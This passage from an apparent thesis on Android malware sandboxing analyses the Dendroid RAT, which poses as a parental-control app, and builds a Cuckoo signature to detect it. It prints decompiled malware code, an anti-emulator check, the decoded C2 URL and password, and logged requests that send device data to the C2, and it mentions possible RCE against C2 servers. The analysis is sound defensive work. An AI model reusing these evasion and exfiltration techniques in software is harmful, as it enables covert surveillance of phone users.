 ​'android.permission.PROCESS_OUTGOING_CALLS'​, 
 ​'android.permission.RECEIVE_SMS'] 

 The application is already requiring many suspicious permissions altogether: 
● READ_SMS: Allows the application to read SMS messages. By itself it’s not a very              

strong indicator of malicious intent, other applications, such as Telegram also require            
this permission. 

● READ_HISTORY_BOOKMARKS: Allows access to the bookmarks stored in the device. 
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● READ_PHONE_STATE: Allows read only access to phone state, including the phone           
number of the device, current mobile network information, the status of ongoing calls,             
and a list of any phone accounts registered on the device. 

● READ_CONTACTS: Allows read access to the contacts of the device 
● CALL_PHONE: Allows the application to perform calls without going through the dialer            

and without confirmation of the user. 
● RECORD_AUDIO: Allows the application to record audio. 
● PROCESS_OUTGOING_CALLS: Allows application to process outgoing calls and        

change the number to be dialled, and so, to monitor, redirect them or prevent them. 
 
The details of each permission along with a “danger” level can be printed with the function                
get_detailed_permissions()​ . 
 
Using the functions ​is_crypto_code​ , ​is_dyn_code​ , ​is_native_code​ , and ​is_reflection_code we         
can obtain valuable information about the different techniques used in the application. These             
functions will return true if Androguard detects cryptography related code, if there is dynamic              
loading of classes (for example, from a file), if the application uses native libraries and if the                 
application uses reflection to dynamically call methods: 
 

In​ ​[​3​]:​ is_crypto_code​(​dx​) 
Out​[​3​]:​ ​False 
 
In​ ​[​4​]:​ is_dyn_code​(​dx​) 
Out​[​4​]:​ ​False 
 
In​ ​[​5​]:​ is_native_code​(​dx​) 
Out​[​5​]:​ ​False 
 
In​ ​[​6​]:​ is_reflection_code​(​dx​) 
Out​[​6​]:​ ​False 

 
In this case, the analysis should be pretty straight-forward. 
 
The next step is to get hands on with the reversing of the application. First of all, using                  
Androguard we show which is the main activity of the application, so that we get the equivalent                 
of an ​entry point​ : 
 

In​ ​[​7​]:​ a​.​get_main_activity​() 
Out​[​7​]:​ u​'com.connect.Dendroid' 

 
Then, we decode the application using APKTool to have all the resources decoded, along with               
the bytecodes of the application in a human readable format: 
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mlwbot@andrik ​~​/android-malware/​Dendroid $ java ​-​jar ​/​opt​/​apktool​/​apktool_2​.​2.1​.​jar d       
-​o disass com​.​parental​.​control​.​v4​.​apk ​-​f 
I​:​ ​Using​ ​Apktool​ ​2.2​.​1​ on com​.​parental​.​control​.​v4​.​apk 
I​:​ ​Loading​ resource table​... 
I​:​ ​Decoding​ ​AndroidManifest​.​xml ​with​ resources​... 
I​: ​Loading resource table ​from file​:      
/home/​mlwbot​/.​local​/​share​/​apktool​/​framework​/​1.apk 
I​:​ ​Regular​ manifest ​package​... 
I​:​ ​Decoding​ file​-​resources​... 
I​:​ ​Decoding​ values ​*​/* XMLs... 
I: Baksmaling classes.dex... 
I: Copying assets and libs... 
I: Copying unknown files... 
I: Copying original files... 

 
Afterwards, we will attempt to obtain the source code of the application by decompiling the .dex.                
The first step is to transform the dex file to a jar file after extracting it from the apk: 
 

mlwbot@andrik ~/android-malware/Dendroid $ unzip com.parental.control.v4.apk     
classes.dex 
Archive:  com.parental.control.v4.apk 
 inflating: classes.dex 
mlwbot@andrik ~/android-malware/Dendroid $ /opt/d2j/d2j-dex2jar.sh classes.dex  
dex2jar classes.dex -> ./classes-dex2jar.jar 

 
And we attempt to decompile the jar using Procyon: 
 

mlwbot@andrik ~/android-malware/Dendroid $ java -jar     
/opt/procyon/procyon-decompiler-0.5.30.jar -jar classes-dex2jar.jar -o procyon-decomp 
Decompiling android/annotation/SuppressLint... 
Decompiling android/annotation/TargetApi... 
Decompiling android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat... 
Decompiling 
android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs... 
Decompiling android/support/v4/app/ActivityCompatHoneycomb... 
[...] 
Decompiling com/connect/CameraView... 
Decompiling com/connect/Dendroid... 
Decompiling com/connect/Dialog... 
Decompiling com/connect/MyService... 
Decompiling com/connect/PhoneListener... 
Decompiling com/connect/RecordService... 
Decompiling com/connect/ServiceReceiver... 
Decompiling com/connect/UpdateApp... 
Decompiling com/connect/VideoView... 
Decompiling com/parental/control/v4/BuildConfig... 
[...] 
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Procyon did a good job with the decompilation, at least with the first class of the application, as                  
it can be observed in the following two evidences. The first is the result of the decompilation,                 
and the second is the actual source code of the application: 
 

//  
// Decompiled by Procyon v0.5.30 
//  
 
package​ com​.​connect​; 
 
import​ android​.​content​.​Intent​; 
import​ android​.​util​.​Log​; 
import​ android​.​os​.​Bundle​; 
import​ java​.​util​.​Iterator​; 
import​ android​.​app​.​ActivityManager$RunningServiceInfo​; 
import​ android​.​app​.​ActivityManager​; 
import​ android​.​app​.​Activity​; 
 
public​ ​class​ ​Dendroid​ ​extends​ ​Activity 
{ 
    ​private​ ​boolean​ isMyServiceRunning​()​ ​{ 

​final ​Iterator​<​ActivityManager$RunningServiceInfo​> iterator ​=     
((​ActivityManager​)​this​.​getApplicationContext​().​getSystemService​(​"activity"​)).​getRunni
ngServices​(​Integer​.​MAX_VALUE​).​iterator​(); 
        ​while​ ​(​iterator​.​hasNext​())​ ​{ 

​if  
(​MyService​.​class​.​getName​().​equals​(​iterator​.​next​().​service​.​getClassName​()))​ ​{ 
                ​return​ ​true​; 
            ​} 
        ​} 
        ​return​ ​false​; 
    ​} 
 
    ​public​ ​void​ onCreate​(​final​ ​Bundle​ bundle​)​ ​{ 
        ​super​.​onCreate​(​bundle​); 
        ​this​.​getWindow​().​addFlags​(​16​); 
        ​this​.​getWindow​().​setSoftInputMode​(​3​); 
        ​Log​.​i​(​"com.connect"​,​ ​"Dendroid"​); 
        ​if​ ​(!​this​.​isMyServiceRunning​())​ ​{ 

​this​.​startService​(​new ​Intent​(​this​.​getApplicationContext​(),   
(​Class​)​MyService​.​class​)); 
            ​Log​.​i​(​"com.connect"​,​ ​"startService"​); 
        ​} 
    ​} 
} 

 

package​ com​.​connect​; 
 
import​ android​.​os​.​Bundle​; 
import​ android​.​util​.​Log​; 
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import​ android​.​view​.​WindowManager​; 
import​ android​.​widget​.​Toast​; 
import​ android​.​app​.​Activity​; 
import​ android​.​app​.​ActivityManager​; 
import​ android​.​app​.​ActivityManager​.​RunningServiceInfo​; 
import​ android​.​content​.​Context​; 
import​ android​.​content​.​Intent​; 
 
public​ ​class​ ​Dendroid​ ​extends​ ​Activity​ ​{ 
  
    ​@Override 
    ​public​ ​void​ onCreate​(​Bundle​ savedInstanceState​)​ ​{  
        ​super​.​onCreate​(​savedInstanceState​); 
        getWindow​().​addFlags​(​WindowManager​.​LayoutParams​.​FLAG_NOT_TOUCHABLE​);  
 
getWindow​().​setSoftInputMode​(​WindowManager​.​LayoutParams​.​SOFT_INPUT_STATE_ALWAYS_HIDDE
N​); 
 
 
        ​if​(​isMyServiceRunning​()==​false​)  
        ​{  
                startService​(​new​ ​Intent​(​getApplicationContext​(),​ ​MyService​.​class​)); 
                ​Log​.​i​(​"com.connect"​,​"startService"​); 
        ​} 
    ​} 
  
        ​private​ ​boolean​ isMyServiceRunning​()​ ​{ 

​ActivityManager manager ​= ​(​ActivityManager​)     
getApplicationContext​().​getSystemService​(​Context​.​ACTIVITY_SERVICE​); 

​for ​(​RunningServiceInfo service ​:     
manager​.​getRunningServices​(​Integer​.​MAX_VALUE​))​ ​{ 

​if ​(​MyService​.​class​.​getName​().​equals​(​service​.​service​.​getClassName​()))   
{ 
                    ​return​ ​true​; 
                ​} 
            ​} 
            ​return​ ​false​; 
        ​} 
} 

 
The main differences found between the source code and the actual malware sample might              
have been introduced by the threat actor that compilated the sample. 
 
It looks like upon running Dendroid attempts to start a service found in the package               
com.connect.MyService​ : 
 

if​ ​(!​this​.​isMyServiceRunning​())​ ​{ 
​this​.​startService​(​new ​Intent​(​this​.​getApplicationContext​(),   

(​Class​)​MyService​.​class​)); 
            ​Log​.​i​(​"com.connect"​,​ ​"startService"​); 
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} 

 
Procyon failed to decompile some parts of the source code correctly: 
 

       ​this​.​thread ​=​ ​new​ ​Thread​()​ ​{ 
            ​@Override 
            ​public​ ​void​ run​()​ ​{ 
                ​//  
                ​// This method could not be decompiled. 
                ​//  
                ​// Original Bytecode: 
                ​//  
                ​//     0: invokestatic    android/os/Looper.prepare:()V 
                ​//     3: iconst_0  
                ​//     4: istore          6 

 
But at least it got the global variables of the class correctly: 
 

public​ ​MyService​()​ { 
        ​this​.​encodedURL ​=​ ​"aHR0cDovL3BpenphY2hpcC5jb20vcmF0"​; 
        ​this​.​backupURL ​=​ ​"aHR0cDovL3BpenphY2hpcC5jb20vcmF0"​; 
        ​this​.​encodedPassword ​=​ ​"a2V5bGltZXBpZQ=="​; 
        ​this​.​timeout ​=​ ​10000​; 
        ​this​.​GPlayBypass​ ​=​ ​true​; 
        ​this​.​recordCalls ​=​ ​true​; 
        ​this​.​intercept ​=​ ​false​; 
        ​this​.​interval ​=​ ​3600000L​; 
        ​this​.​version ​=​ ​1​; 
        ​this​.​myBinder ​=​ ​(​IBinder​)​new​ ​MyLocalBinder​(); 
        ​this​.​urlPostInfo ​=​ ​"/message.php?"​; 
        ​this​.​urlSendUpdate ​=​ ​"/get.php?"​; 
        ​this​.​urlUploadFiles ​=​ ​"/new-upload.php?"​; 
        ​this​.​urlUploadPictures ​=​ ​"/upload-pictures.php?"​; 
        ​this​.​urlFunctions ​=​ ​"/get-functions.php?"; 

 
Looks like the URLs of the command and control server are encoded in base64, along with the                 
password: 
 

mlwbot@andrik ~/android-malware/Dendroid $ echo 'aHR0cDovL3BpenphY2hpcC5jb20vcmF0' |      
base64 -d 
http://pizzachip[dot]com/rat 
mlwbot@andrik ~/android-malware/Dendroid $ echo 'a2V5bGltZXBpZQ==' | base64 -d 
keylimepie 
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Virustotal has registered the domain already, and shows a lot of interesting information about it,               
such as which samples communicate with said domain, to which IPs it has resolved since its                
creation, whois information, among others: 
 

 
Figure 14. Results of Virustotal for pizzachip[dot]com 

 
Using this information we could find more samples that report to this C2, and we can attempt to                  
guess for how long it has been active, and if it still is. Furthermore, by looking at the information                   
VirusTotal has about the registered IP’s, it’s possible to find new versions of the malware, or                
other types of malware distributed by the same threat actor, like for example the following               
Windows sample that was analyzed in December 2016: 
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Figure 15. Results of Virustotal for a sample related to pizzachip[dot]com 

 
Dendroid also has some very basic anti-vm capabilities: 
 

if​ ​(!​"google_sdk"​.​equals​(​Build​.​PRODUCT​)​ ​&&​ ​!​"google_sdk"​.​equals​(​Build​.​MODEL​)​ ​&& 
!​Build​.​BRAND​.​startsWith​(​"generic"​)​ ​&&​ ​!​Build​.​DEVICE​.​startsWith​(​"generic"​)​ ​&& 
!​"goldfish"​.​equals​(​Build​.​HARDWARE​))  
{ 
    ​PreferenceManager​.​getDefaultSharedPreferences​( 
      MyService​.​this​.​getApplicationContext​()).​edit​().​putBoolean​(​"Start"​,​ ​true​); 
    ​MyService​.​this​.​initiate​(); 
} 

 
Before starting the service, Dendroid checks the values of the following variables: 

● Build.PRODUCT: Contains the overall name of the product. Dendroid checks if it’s equal             
to ​google_sdk​ . 

● Build.MODEL: Contains the end-user visible name for the product. Dendroid checks if it’s             
equal to ​google_sdk​ . 

● Build.BRAND: Contains the consumer visible brand with which the product will be            
associated. Dendroid checks if it begins with ​generic​ . 

● Build.DEVICE: Contains the name of the industrial design. Dendroid checks if it starts             
with ​generic​ . 

● Build.HARDWARE: Contains the name of the hardware. Dendroid checks if it’s equal to             
goldfish​ . 

 
All of these strings are related to the google AVD. Thankfully, the Xposed module              
anti-anti-emulator will take care that none of these checks reveal our device as an emulator by                
intercepting the calls from the application, and modifying the responses to avoid detection. 
 
Thanks to the disassembly produced by APKTool, we can continue examining the source code              
of the application. The tool has separated all the nested classes in MyService in different files,                
which, thanks to the lack of obfuscation, reveal what they do: 
 

mlwbot@andrik ~/android-malware/Dendroid $ vim disass/smali/com/connect/MyService 
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MyService$1.smali                    MyService$getBrowserBookmarks.smali 
MyService$httpFlood.smali            MyService$promptUninstall.smali 
MyService$takePhoto.smali 
MyService$2.smali                    MyService$getBrowserHistory.smali 
MyService$isUrlAlive.smali           MyService$recordAudio.smali 
MyService$takeVideo.smali 
MyService$3.smali                    MyService$getCallHistory.smali 
MyService$mediaVolumeDown.smali      MyService$ringerVolumeDown.smali 
MyService$transferBot.smali 
MyService$callNumber.smali           MyService$getContacts.smali 
MyService$mediaVolumeUp.smali        MyService$ringerVolumeUp.smali 
MyService$UploadFile.smali 
MyService$changeDirectory.smali      MyService$getInboxSms.smali 
MyService$MyLocalBinder.smali        MyService$screenOn.smali 
MyService$UploadFiles.smali 
MyService$deleteCallLogNumber.smali  MyService$getInstalledApps.smali 
MyService$openApp.smali              MyService$sendContactsText.smali 
MyService$uploadPictures.smali 
MyService$deleteFiles.smali          MyService$getSentSms.smali 
MyService$openDialog.smali           MyService$sendText.smali  
MyService$deleteSms.smali            MyService$getUserAccounts.smali 
MyService$openWebpage.smali          MyService.smali 

 
APKTool has translated the byte-code to a human-readable format called Smali.  
 
As a side note, in some instances Smali is more understandable than the Java Decompilation of                
obfuscated files. In the following example there are two function calls, one obfuscated, and one               
in clear text: 
 

invoke​-​virtual​ ​{​v4​}, 
Lcom​/​connect​/​MyService​;->​getApplicationContext​()​Landroid​/​content​/​Context; 
invoke​-​virtual​ ​{​v4​},​ ​La​/​a​/​c​;->​getApplicationContext​()​Landroid​/​content​/​Context; 

 
In Smali, the whole package of the class and functions called is shown, whilst Java shows only                 
the name of the class and the function which makes it very hard to differentiate between classes                 
in different packages. 
 
Upon further analysis, it has been discovered that Dendroid has a couple feature that could be                
used to gain control of the remote command and control server; ​UploadFile and ​UploadFiles​ .              
The communication with the command and control server seems to be protected by a              
password, so the potential RCE could only be used in command and control servers extracted               
from analyzed samples. 
 
Another interesting feature of Dendroid can be found in the file ​MyService$transferBot.smali​ . It             
looks like the rat is capable of migrating the command and control server. Examining the code                
of the file, reveals that the URL of the server is stored in the application shared preferences: 
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  invoke​-​static​ ​{​v2​}, 
Landroid​/​preference​/​PreferenceManager​;->​getDefaultSharedPreferences​(​Landroid​/​content​/
Context​;)​Landroid​/​content​/​SharedPreferences​; 
    move​-​result​-​object​ v2 
 
    invoke​-​interface​ ​{​v2​}, 
Landroid​/​content​/​SharedPreferences​;->​edit​()​Landroid​/​content​/​SharedPreferences$Editor​; 
    move​-​result​-​object​ v2 
    ​const​-​string​ v3​,​ ​"URL" 
    iget​-​object​ v4​,​ p0​,​ ​Lcom​/​connect​/​MyService$transferBot​;->​i​:​Ljava​/​lang​/​String​; 
    invoke​-​virtual​ ​{​v4​},​ ​Ljava​/​lang​/​String​;->​getBytes​()[​B 
    move​-​result​-​object​ v4 

 
In this case, we have already found the targets of our analysis; the anti-vm functionalities, the                
command and control servers, the password used to communicate with the command and             
control server, and some interesting features that could be used to create a static signature of                
this malware type. 
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8. Automated analysis 
Using static analysis to understand what an application does is very fast in simple samples such                
as Dendroid. In other cases, using automated dynamic analysis will help the analyst             
comprehend how the sample works, or at least which is the flow of execution. Furthermore, with                
the results of the dynamic and static analysis it’s possible to create a ​signature that               
automatically classifies the sample, and extracts relevant information from it. 

In this case, we will continue analyzing Dendroid. To begin working first we have to send the                 
sample we want to analyze analyze to our Sandbox: 
 

mlwbot@andrik ~/android-malware $ python /opt/cuckoo/utils/submit.py     
Dendroid/com.parental.control.v4.apk  
Success: File "/home/mlwbot/android-malware/Dendroid/com.parental.control.v4.apk"   
added as task with ID 566 

 

                              ),-.      / 
  Cuckoo Sandbox              <(a  `---','  
     no chance for malwares!  ( `-, ._> ) 
                               ) _>.___/ 
                                   _/ 
 
 Cuckoo Sandbox 2.0-dev 
 www.cuckoosandbox.org 
 Copyright (c) 2010-2015 
 
Checking for updates... 
2017-01-03 11:29:24,313 [lib.cuckoo.core.scheduler] INFO: Using "avd" as machine 
manager 
2017-01-03 11:29:24,412 [lib.cuckoo.core.scheduler] INFO: Loaded 1 machine/s 
2017-01-03 11:29:24,418 [lib.cuckoo.core.scheduler] INFO: Waiting for analysis tasks. 
2017-01-03 11:29:59,423 [lib.cuckoo.core.scheduler] INFO: Starting analysis of FILE 
"com.parental.control.v4.apk" 
2017-01-03 11:29:59,479 [lib.cuckoo.core.scheduler] INFO: Task #566: acquired machine 
VM00 (label=VM00) 
2017-01-03 11:30:26,596 [lib.cuckoo.core.guest] INFO: Starting analysis on guest 
(id=VM00, ip=127.0.0.1) 
2017-01-03 11:32:33,280 [lib.cuckoo.core.guest] INFO: VM00: analysis completed 
successfully 
2017-01-03 11:32:36,145 [lib.cuckoo.core.scheduler] INFO: Task #566: reports 
generation completed (path=/opt/cuckoo/storage/analyses/566) 
2017-01-03 11:32:36,193 [lib.cuckoo.core.scheduler] INFO: Task #566: analysis 
procedure completed 
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The analysis finishes successfully in a few minutes, and so, we can begin to work with the                 
results. 

8.1 Results of the analysis 
The results of the analysis are found in ​/opt/cuckoo/storage/analyses/566​ . Inside this folder we             
will find multiple files and folders. The most relevant to our case are: 

● analysis.log: A file containing the log of the actual analysis. If there are any issues while                
performing the analysis, they will appear here: 

 

2017-01-03 11:30:29,014 [root] INFO: Starting analyzer from: 
/data/local/tmp/hvnsghnvx 
2017-01-03 11:30:29,017 [root] INFO: Storing results at: /data/local/tmp/ivhoze 
2017-01-03 11:30:29,019 [root] INFO: Target is: 
/data/local/tmp/com.parental.control.v4.apk 
2017-01-03 11:30:29,020 [root] INFO: No analysis package specified, trying to detect 
it automagically 
2017-01-03 11:30:29,021 [root] INFO: Automatically selected analysis package "apk" 
2017-01-03 11:30:29,067 [modules.packages.apk] DEBUG: Options: {'apk_entry': ':'} 
2017-01-03 11:30:29,262 [root] INFO: Started auxiliary module Screenshots 
2017-01-03 11:30:29,264 [lib.api.adb] INFO: Installing sample in the device: 
/data/local/tmp/com.parental.control.v4.apk 
2017-01-03 11:30:32,239 [lib.api.adb] INFO: Installed sample: 'Success\n' 
2017-01-03 11:30:32,242 [modules.packages.apk] INFO: About to execute the activity 
2017-01-03 11:30:32,338 [modules.packages.apk] INFO: List of results obtained. Size: 
3702 
2017-01-03 11:30:32,358 [modules.packages.apk] INFO: Looking for package name 
2017-01-03 11:30:32,360 [modules.packages.apk] INFO: Package name found: 
com.parental.control.v4 
2017-01-03 11:30:32,361 [modules.packages.apk] INFO: Looking for activity name 
2017-01-03 11:30:32,376 [modules.packages.apk] INFO: Activity name found: 
com.connect.Dendroid 
2017-01-03 11:30:32,378 [modules.packages.apk] INFO: Retrieved package and activity: 
com.parental.control.v4 com.connect.Dendroid 
2017-01-03 11:30:32,379 [modules.packages.apk] INFO: Executing activity 
2017-01-03 11:30:33,262 [lib.api.adb] INFO: Executed package activity: 'Starting: 
Intent { cmp=com.parental.control.v4/com.connect.Dendroid }\n' 
2017-01-03 11:32:32,500 [root] INFO: Analysis timeout hit, terminating analysis 
2017-01-03 11:32:32,504 [lib.api.adb] INFO: Dumping droidmon logs 
2017-01-03 11:32:32,523 [lib.api.adb] INFO: Sending the logs 
2017-01-03 11:32:32,614 [root] INFO: Analysis completed 

● binary: A link to the actual file 
● dump.pcap: The captured traffic of the analysis. 
● logs: A folder containing the logs of the behavior captured by Droidmon. 
● reports: A folder containing the generated report by Cuckoo.  

○ report.json: The product generated by the analysis 
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● shots: A folder containing screenshots taken during the analysis. 

After reviewing the logs of the analysis and Droidmon to verify that there are no errors during                 
the analysis, we can move onto examining the report itself. 

The report has the following keys, populated by different processing modules; info, signatures,             
target, droidmon, network, static, apkinfo, debug, strings, and virustotal. 

The following section will explain the information found in the most relevant ones. 

8.1.1 Report keys 

8.1.1.1 info, target, and debug 

The key info contains information about the analysis, such as when it started, in which machine                
was executed, when it ended, and the ID and the duration of the analysis. 

The target key, contains information about the sample itself, such as multiple hashes of the file,                
the original filename, and where is it stored, among others. 

The last key, debug, is used to store the logs of the analysis, along with any errors found. 

8.1.1.2 signatures 

The signatures are a mechanism of the sandbox that allow the analyst to create modules that                
will be executed after the analysis.  

With these modules, the analyst will be able to extract relevant information about the sample.               
From which techniques the sample uses (for example, anti-vm), to what kind of sample is. 

Right now, the key is empty, because we haven’t created any signatures yet. 

8.1.1.3 droidmon 

Droidmon is an Xposed module that monitors the behavior of the application that is being               
executed. Using a simple json file, called ​hooks.json​ , we can define which functions are going to                
be monitored: 
 

"hookConfigs": [ 
        { 
            "class_name": "android.telephony.TelephonyManager",  
            "method": "getDeviceId",  
            "thisObject": false,  
            "type": "fingerprint" 
        },  
        { 
            "class_name": "android.telephony.TelephonyManager",  

Victor Acin Sanz  |  TFM-MISTIC  |  2017-01-09 
41 



            "method": "getSubscriberId",  
            "thisObject": false,  
            "type": "fingerprint" 
        },  
        { 
            "class_name": "android.telephony.TelephonyManager",  
            "method": "getLine1Number",  
            "thisObject": false,  
            "type": "fingerprint" 
        } 
] 

The processing module for Droidmon gathers all the calls and puts together a summary, with               
information such as which receivers were registered: 
 

"registered_receivers": [ 
            "android.intent.action.SCREEN_OFF",  
            "android.intent.action.BOOT_COMPLETED" 
], 

The files accessed by the application: 
 

"file_accessed": [ 
 
"/data/data/com.parental.control.v4/shared_prefs/com.parental.control.v4_preferences.
xml" 
],  
[...] 

 
Or all the base64 encoded data found by registering the calls, already decoded: 
 

"decoded_base64": [ 
            "http://pizzachip.com/rat",  
[...]  
            "keylimepie",  
[...]  

 
Thanks to this summary, in this case, we have already found the command and control server,                
as well as the password used to communicate with it. 
 
Droidmon has also detected the http requests made by the application through Java classes,              
and so has put up a summary with all the requests: 
 

"httpConnections": [ 
            { 
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                "request": "GET http://pizzachip.com/rat HTTP/1.1",  
                "response": "HTTP/1.1 404 Not Found" 
            },  
            { 
                "request": "GET 
http://pizzachip.com/rat/get.php?UID=d50c31f4dfeaf29f&Provider=Cellcom&Phone_Number=9
7259916243&Coordinates=null,null&Device=Nexus5&Sdk=16&Version=1&Random=98&Password=ke
ylimepie HTTP/1.1\n\n",  
                "response": "HTTP/1.1 404 Not Found" 
            }, 
[...] 

 
The report also has all the raw calls registered by droidmon, so that we can easily analyze them                  
and see what is the malware doing: 
 

"raw": [ 
           { 
                "timestamp": 1483439551088,  
                "args": [ 
                    "aHR0cDovL3BpenphY2hpcC5jb20vcmF0",  
                    "0",  
                    "32",  
                    "0" 
                ],  
                "class": "android.util.Base64",  
                "result": "http://pizzachip.com/rat",  
                "type": "generic",  
                "method": "decode" 
            } 
[...] 

 

8.1.1.4 network 

Very much like the droidmon key, the network key also has a summary with the domains and                 
the hosts to which the application tried to connect. 

Besides this, the network key also shows all the TCP and UDP connections, the DNS               
resolutions, and the HTTP requests: 
 

"udp": [ 
            { 
                "src": "10.0.2.15",  
                "dst": "10.0.2.3",  
                "offset": 497429,  
                "time": 128.02368688583374,  
                "dport": 53,  
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                "sport": 13021 
            },  
[...] 
"http": [ 
     { 
                "count": 1,  
                "body": "",  
                "uri": 
"http://pizzachip.com/rat/get.php?UID=d50c31f4dfeaf29f&Provider=Cellcom&Phone_Number=
97259916243&Coordinates=null,null&Device=Nexus5&Sdk=16&Version=1&Random=228&Password=
keylimepie",  
                "user-agent": "Apache-HttpClient/UNAVAILABLE (java 1.4)",  
                "method": "GET",  
                "host": "pizzachip.com",  
                "version": "1.1",  
                "path": 
"/rat/get.php?UID=d50c31f4dfeaf29f&Provider=Cellcom&Phone_Number=97259916243&Coordina
tes=null,null&Device=Nexus5&Sdk=16&Version=1&Random=228&Password=keylimepie",  
                "data": "GET 
/rat/get.php?UID=d50c31f4dfeaf29f&Provider=Cellcom&Phone_Number=97259916243&Coordinat
es=null,null&Device=Nexus5&Sdk=16&Version=1&Random=228&Password=keylimepie 
HTTP/1.1\r\nHost: pizzachip.com\r\nConnection: Keep-Alive\r\nUser-Agent: 
Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n\r\n",  
                "port": 80 
            },  
[...] 
"tcp": [ 
            { 
                "src": "10.0.2.15",  
                "dst": "10.0.2.2",  
                "offset": 1330,  
                "time": 29.061766862869263,  
                "dport": 2042,  
                "sport": 57234 
[...] 

 

8.1.1.5 apkinfo 

Using androguard, the apkinfo processing module gathers information extracted statically from           
the sample, such as the files found inside the package, the static method calls, as well as                 
information about the techniques used by the application, such as the use of dynamic code,               
reflection, or native code: 
 

"static_method_calls": { 
            "is_dynamic_code": false,  
            "is_reflection_code": false,  
            "is_native_code": false,  
            "all_methods": [ 
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                { 
                    "return": "V",  
                    "class": 
"Landroid/support/v4/accessibilityservice/AccessibilityServiceInfoCompat",  
                    "name": "<clinit>" 
                }, 
[...] 

 

8.1.1.6 virustotal 

This key is used to store information about the virustotal analysis of the sample, if there is any. It                   
has information about how each vendor classifies the sample, and what name the vendor has               
given to this type of sample: 
 

"virustotal": { 
        "scans": { 
            "K7AntiVirus": { 
                "detected": true,  
                "version": "9.246.21889",  
                "result": "Trojan ( 0001140e1 )",  
                "normalized": [],  
                "update": "20161224" 
            },  
            "MicroWorld-eScan": { 
                "detected": true,  
                "version": "12.0.250.0",  
                "result": "Android.Trojan.Dendroid.A",  
                "normalized": [ 
                    "Android",  
                    "Dendroid" 
                ],  
                "update": "20161224" 
            },  
[...] 

This is particularly useful when dealing with unknown samples, knowing how a vendor classifies              
the sample might help us in finding more information about it, and what to expect when                
performing the reverse engineering of it. 

8.2 Automating classification 
Using the information from the report, and from our static analysis, it’s possible to classify the                
sample automatically using the signature module. 
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There are multiple ways to approximate this classification, the first and most simple, that should               
work for Dendroids that haven’t been too modified, would be to search for the main activity of                 
the application: 
 

"main_activity": "com.connect.Dendroid", 

The name of the main activity looks unique enough to make a simple signature. Just to be sure                  
we could also use the sha256 of a couple of resource files which aren’t likely to change. To do                   
this, we can use the function ​get_apkinfo​ . 

The next step is to extract the URL of the command and control server, along with the                 
password. Knowing that both the URL and the password will have to be decoded at some point,                 
we can take advantage of the summary created by droidmon and extract them from there using                
the function ​get_droidmon​ .  

This is the resulting signature: 
 

import​ re 
from​ lib​.​cuckoo​.​common​.​abstracts ​import​ ​Signature 
 
class​ ​DendroidDetection​(​Signature​): 
    name ​=​ ​"dendroid_detection" 
    description ​=​ ​"Tries to find out if it's a Dendroid sample" 
    severity ​=​ 3 
    categories ​=​ ​[​"APK"] 
    authors ​=​ ​[​"Victor Acin"] 
    minimum ​=​ ​"2.0" 
    families ​=​ ​[​"Dendroid"​,​ ​"Android RAT"] 
 
    enabled ​=​ ​True 
 
    ​def​ is_dendroid​(​self​): 
        main_activity ​=​ ​'com.connect.Dendroid' 
        manifest ​=​ ​self​.​get_apkinfo​(​section​=​"manifest") 
        ​if​ manifest​[​'main_activity'​]​ ​==​ main_activity: 
            ​self​.​mark​(​dendroid​=​'main activity name'​,​ type​=​"malware_match") 
            ​return​ ​True 
 
    ​def​ retrieve_intel​(​self​): 
        decoded_info ​=​ ​set​(​self​.​get_droidmon​(​section​=​"decoded_base64"​)) 
        ​if​ len​(​decoded_info​)​ ​<​ ​1: 
            ​return​ ​None 
        ​for​ item ​in​ decoded_info: 
            ​if 
re​.​findall​(​'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-
F]))+'​,​ item​): 
                ​self​.​mark​(​C2​=​item​,​ type​=​"malware_info") 
            ​else: 
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                ​self​.​mark​(​Password​=​item​,​ type​=​"malware_info") 
 
    ​def​ on_complete​(​self​): 
        ​if​ ​self​.​is_dendroid​(): 
            ​self​.​retrieve_intel​() 
            ​return​ ​True 
        ​return​ ​False 

The signature looks directly in the manifest section created by androguard, and retrieves the              
name of the main activity, matching it against our string. If it matches, the signature will attempt                 
to extract the information from the decoded base64 strings generated by droidmon. For every              
unique item found, it will attempt to match said item with a regular expression used to match                 
URLs. If there’s a match, it adds the found URL to the results of the signature as a command                   
and control server (or C2, in this case), if it does not match, it adds the item as a password. 

The result of the execution can be found in the signatures section of the report: 
 

     "signatures": [ 
        { 
            "families": [ 
                "Dendroid",  
                "Android RAT" 
            ],  
            "description": "Tries to find out if it's a Dendroid sample",  
            "severity": 3,  
            "marks": [ 
                { 
                    "type": "malware_match",  
                    "dendroid": "main activity name" 
                },  
                { 
                    "C2": "http://pizzachip.com/rat",  
                    "type": "malware_info" 
                },  
                { 
                    "Password": "keylimepie",  
                    "type": "malware_info" 
                } 
            ],  
            "references": [],  
            "name": "dendroid_detection" 
        } 
    ],  
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9. Conclusions 
After finishing the integration, the sandbox is running smoothly and analyzing samples without             
issues, the sandbox is capable of classifying some types of malware, and to extract relevant               
information from them, and therefore, all of the objectives of the project have been met. 

I underestimated the amount of work it would require to adapt Cuckoo V2 and Cuckoo Droid,                
which in the end took a lot more time than what was planned for. 

Thanks to the project I have been able to understand how the cybercriminal underworld works,               
and how to reverse engineer the simpler Android malware samples. 

Still, the integration is just a proof of concept, and the sandbox can still be improved much                 
further: 

1. Improve the amount of anti-vm techniques that can be bypassed using the anti-anti-vm             
module. 

2. Expand the amount of malware that the sandbox can classify. 
3. Automatically classify samples in groups or families such as RATs or Bankers based on              

the behavior of the sample. 
4. Automatically extract relevant information from samples without requiring classification. 
5. Increase the amount of emulators that can be running concurrently in the Sandbox. 
6. Move the sandbox to servers which use ARM processors, so that the speed of execution               

is greatly increased. 
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